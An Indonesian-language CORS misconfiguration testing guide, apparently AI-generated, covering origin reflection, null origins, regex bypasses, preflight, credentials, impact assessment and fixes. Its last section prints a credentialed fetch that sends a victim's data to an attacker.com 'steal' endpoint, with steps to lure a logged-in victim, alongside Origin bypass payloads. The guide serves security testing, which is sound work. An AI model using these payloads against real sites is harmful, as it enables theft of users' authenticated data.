Cross-Origin Resource Sharing (CORS)
Generated by: Deepseek
Daftar Isi
- Pengertian Kerentanan CORS
- Cara Kerja CORS
- Karakteristik Kesalahan Konfigurasi CORS
- Cara Menemukan dan Mendeteksi Masalah CORS
- Daftar Periksa Pengujian CORS
- Pertimbangan Teknis Tambahan
1. Pengertian Kerentanan CORS
CORS (Cross-Origin Resource Sharing) adalah mekanisme yang memungkinkan server web secara eksplisit mengizinkan permintaan lintas-asal dari domain tertentu. Kerentanan CORS muncul ketika server salah dikonfigurasi sehingga memercayai asal yang tidak diverifikasi atau dikendalikan penyerang, akibatnya Same-Origin Policy (SOP) dilanggar dan situs jahat dapat membaca data sensitif atau melakukan perubahan state atas nama korban.
Dampak umum:
- Pencurian kunci API, token CSRF, atau data pengguna.
- Pengambilalihan akun (jika cookie sesi terekspos).
- Eskalasi hak akses melalui panggilan API internal.
2. Cara Kerja CORS
Permintaan lintas-asal (misal dari attacker.com ke api.target.com) menyebabkan browser mengirimkan header Origin. Server merespons dengan:
Access-Control-Allow-Origin: <origin>– menentukan asal mana yang diizinkan.Access-Control-Allow-Credentials: true– mengizinkan cookie/header otorisasi disertakan.Access-Control-Allow-Methods/Access-Control-Allow-Headers– digunakan saat preflight.
Jika Access-Control-Allow-Origin yang dikembalikan sama dengan (atau mencerminkan) asal peminta dan browser mengizinkannya, respons tersebut dibagikan lintas-asal.
Pola rentan: Server secara membabi buta menyalin nilai Origin, misalnya Access-Control-Allow-Origin: https://attacker.com.
3. Karakteristik Kesalahan Konfigurasi CORS
| Karakteristik | Deskripsi |
|---|---|
| Refleksi Origin | Nilai Access-Control-Allow-Origin disalin secara dinamis dari header Origin tanpa validasi. |
| Penerimaan null origin | Origin: null diizinkan (dapat dipalsukan oleh iframe ter-sandbox atau file lokal). |
| Wildcard dengan kredensial | Access-Control-Allow-Origin: * bersama Access-Control-Allow-Credentials: true – tidak sah menurut spesifikasi tetapi beberapa server salah mengimplementasikannya. |
| Regex subdomain yang lemah | Memercayai *.target.com tetapi menggunakan pencocokan pola lemah (misal target.com$ → attackertarget.com). |
| Penurunan protokol | Menerima http:// padahal aplikasi menggunakan HTTPS. |
| Salah konfigurasi preflight | Mengizinkan metode berbahaya (PUT, DELETE) atau header (X-Custom-Auth) tanpa validasi ketat. |
4. Cara Menemukan dan Mendeteksi Masalah CORS
Pengujian Manual (DevTools Browser + cURL)
- Intersep permintaan ke endpoint target yang mengembalikan data sensitif (contoh:
/api/user). - Ubah header
Origindalam permintaan ulang (menggunakan Burp Repeater, Postman, atau cURL):curl -X GET https://api.target.com/user \ -H "Origin: https://attacker.com" \ -H "Cookie: session=xyz" \ -v - Periksa header respons:
Access-Control-Allow-Origin: https://attacker.com→ terjadi refleksi.Access-Control-Allow-Credentials: true→ kredensial diizinkan.- Jika keduanya ada dan asal yang direfleksikan cocok dengan asal penyerang, endpoint tersebut rentan.
Alat Otomatis
- Burp Suite – ekstensi pemindai CORS (misal CORS Scanner, CORS Misconfiguration).
- ZAP – aturan pemindaian aktif/pasif untuk CORS.
- Skrip kustom – kirim sekumpulan asal (contoh:
null,https://evil.com,http://target.com.evil.com).
Daftar Deteksi untuk Penguji Penetrasi
- Apakah server merefleksikan nilai
Originapa pun? - Apakah server menerima
Origin: null? - Apakah
Access-Control-Allow-Credentialsdikembalikan bersama origin yang direfleksikan atau wildcard? - Apakah ada respons preflight yang mengizinkan header/metode kustom secara sembarangan?
- Apakah pola origin yang dipercaya rentan terhadap injeksi prefiks/sufiks?
5. Daftar Periksa Pengujian CORS
Gunakan kotak centang berikut selama pengujian. Setiap item menyertakan detail teknis dan upaya bypass.
5.1 Refleksi Origin
-
Refleksi origin sembarang?
KirimOrigin: https://evil.com. JikaAccess-Control-Allow-Origin: https://evil.comkembali, situs mana pun dapat membaca respons. -
Null origin diterima?
KirimOrigin: null. JikaAccess-Control-Allow-Origin: nullkembali, eksploitasi melalui iframe ter-sandbox:
<iframe sandbox="allow-scripts allow-forms" src="data:text/html,<script>...</script>"></iframe> -
Pencocokan subdomain (bypass regex)?
Jika server memercayai*.target.com, coba:
Origin: https://target.com.attacker.com
Origin: https://attackertarget.com(jika regex-nyatarget\.com$) -
Penurunan protokol (https→http)?
KirimOrigin: http://evil.comke endpoint HTTPS. Jika diizinkan, serangan MITM dapat mengeksploitasi. -
Injeksi path/port?
Origin: https://target.com@evil.com
Origin: https://target.com:8080(jika port diabaikan dalam validasi)
5.2 Penanganan Kredensial
-
Allow-Credentials: true?
CariAccess-Control-Allow-Credentials: truedalam respons. Ini mengizinkan cookie dikirim lintas-asal. -
Dikombinasikan dengan origin refleksi?
Access-Control-Allow-Origin: https://evil.com+Access-Control-Allow-Credentials: true→ kerentanan kritis (pencurian data terotentikasi). -
Cookie dikirim lintas-asal?
Verifikasi dengan halaman uji yang mengaturwithCredentials = truepada XHR/fetch. Periksa apakah browser benar-benar menyertakan cookie dan menerima respons.
5.3 Penanganan Preflight
-
Metode kustom diizinkan?
Kirim permintaanOPTIONSdenganAccess-Control-Request-Method: PATCH. Jika respons menyertakanPATCHdalamACA-Methods, penyerang dapat menggunakannya. -
Header kustom diizinkan?
Access-Control-Request-Headers: X-Custom– jika diterima, penyerang dapat menyuntikkan header yang mungkin melewati pemeriksaan sisi server. -
Max-Age terlalu panjang?
Access-Control-Max-Age> 86400 (24 jam) memungkinkan preflight di-cache sekali saja, mengurangi kesempatan perangkat keamanan mendeteksi permintaan jahat berikutnya. -
Bypass preflight mungkin?
Beberapa endpoint merefleksikanAccess-Control-Allow-Originhanya pada preflight tetapi tidak pada permintaan aktual – uji keduanya. Juga periksa apakah permintaan sederhana (GET/HEAD tanpa header kustom) melewatkan preflight sama sekali.
5.4 Penggunaan Wildcard
-
Access-Control-Allow-Origin: *
Periksa apakah ada endpoint yang merespons denganAccess-Control-Allow-Origin: *. Ini sendiri aman, tetapi berbahaya jika dikombinasikan denganAccess-Control-Allow-Credentials: true(tidak sah menurut spesifikasi, tetapi beberapa server tetap mengirimkannya). -
Wildcard dengan endpoint sensitif?
Bahkan tanpa kredensial, API publik yang mengembalikan PII dengan wildcard dapat dieksploitasi oleh situs mana pun. -
API internal dengan wildcard?
Endpoint internal (misalhttps://internal.corp/api) yang terekspos ke internet denganAccess-Control-Allow-Origin: *memungkinkan halaman eksternal membacanya jika korban berada di jaringan korporat (serangan DNS rebinding atau jaringan lokal).
5.5 Kepercayaan Subdomain
-
*.target.com dipercaya?
JikaAccess-Control-Allow-Origin: *.target.comdiatur, maka subdomain mana pun (termasuk yang rentan XSS) dapat membaca respons. -
Ada subdomain yang rentan XSS?
Lakukan enumerasi subdomain (contoh:dev.target.com,admin.target.com). Jika salah satu memiliki XSS, XSS tersebut dapat mengirim permintaan terotentikasi ke API mana pun yang memercayai*.target.com. -
Pengambilalihan subdomain mungkin?
Jika subdomain (contoh:old.target.com) tidak digunakan tetapi CNAME-nya menunjuk ke layanan eksternal (GitHub Pages, AWS S3) yang dapat diklaim, penyerang dapat menghosting kode di sana dan mengeksploitasi kepercayaan tersebut.
5.6 Penilaian Dampak
-
Data apa yang dapat diakses?
Identifikasi semua endpoint dengan kesalahan konfigurasi CORS – periksa/user/profile,/account/balance,/api/private, dll. -
Dapatkah state diubah?
Uji metode tidak aman (POST, PUT, DELETE) dengan kebijakan CORS yang salah konfigurasi. Jika diizinkan, penyerang dapat melakukan tindakan seperti CSRF tanpa preflight atau dengan permintaan sederhana. -
Pencurian token/kredensial?
Periksa apakah respons menyertakan token CSRF, kunci API, pengidentifikasi sesi, atau informasi pribadi. -
Dikombinasikan dengan kerentanan lain?
- CORS + kebocoran token CSRF → melewati perlindungan CSRF.
- CORS + XSS pada origin yang dipercaya → pengambilalihan akun penuh.
- CORS + cache poisoning (misal
Access-Control-Allow-Origin: *dengan CDN) → dampak luas.
5.7 Verifikasi Perbaikan
-
Whitelist origin yang dipercaya?
Verifikasi bahwa server mengembalikanAccess-Control-Allow-Originhanya untuk daftar origin yang diizinkan (contoh:https://target.com,https://app.target.com), tidak merefleksikan input sembarang. -
Header Vary: Origin ada?
Header responsVary: Originmemastikan respons yang di-cache dipisahkan berdasarkan asal, mencegah cache poisoning. -
Kredensial hanya dengan origin spesifik?
Access-Control-Allow-Credentials: truetidak boleh pernah dikembalikan bersamaAccess-Control-Allow-Origin: *atau origin refleksi yang tidak masuk whitelist ketat. -
Tidak ada wildcard untuk endpoint terotentikasi?
Endpoint mana pun yang memerlukan autentikasi harus mengembalikan origin spesifik, bukan*. -
Validasi preflight ketat?
ACA-MethodsdanACA-Headersharus mencantumkan hanya yang benar-benar diperlukan, bukan*.
6. Pertimbangan Teknis Tambahan
Bypass Preflight melalui “Permintaan Sederhana”
Permintaan lintas-asal dianggap sederhana (tanpa preflight) jika:
- Metode
GET,HEAD, atauPOST. - Hanya header sederhana (
Accept,Accept-Language,Content-Language,Content-Typedengan nilaiapplication/x-www-form-urlencoded,multipart/form-data, atautext/plain). - Tidak ada header kustom.
Oleh karena itu, meskipun preflight ketat, endpoint rentan dengan refleksi Access-Control-Allow-Origin tetap dapat dieksploitasi melalui form POST sederhana.
Bahaya Origin null
Origin null dapat dihasilkan oleh:
- Iframe ter-sandbox (
sandbox="allow-scripts"). - File HTML lokal (
file://). - Data URL. Beberapa server secara membabi buta memasukkan
nullke whitelist untuk kemudahan, sehingga iframe ter-sandbox dapat mengeksfiltrasi data.
CORS vs CSRF
- CORS berkaitan dengan membaca respons lintas-asal (melanggar SOP).
- CSRF berkaitan dengan permintaan perubahan state (yang secara default diizinkan, tetapi respons tidak dapat dibaca). Ketika kesalahan konfigurasi CORS mengizinkan pembacaan respons, sering kali hal itu meningkatkan kerentanan CSRF menjadi pencurian data penuh.
Cara Eksploitasi dalam Pengujian Nyata
- Buat halaman HTML berisi:
<script> fetch('https://vulnerable.target.com/api/user', { credentials: 'include' }).then(r => r.text()).then(data => fetch('https://attacker.com/steal?data='+btoa(data))) </script> - Bujuk korban yang sudah login untuk membuka halaman tersebut.
- Amati data yang dicuri tiba di server Anda.
Deteksi Menggunakan Konsol Browser
Buka konsol browser korban (jika Anda bisa) dan jalankan:
fetch('https://api.target.com/endpoint', {credentials: 'include'})
.then(r => console.log(r.headers.get('access-control-allow-origin')));
Jika menampilkan * atau null atau asal Anda sendiri, kebijakan tersebut bersifat refleksif.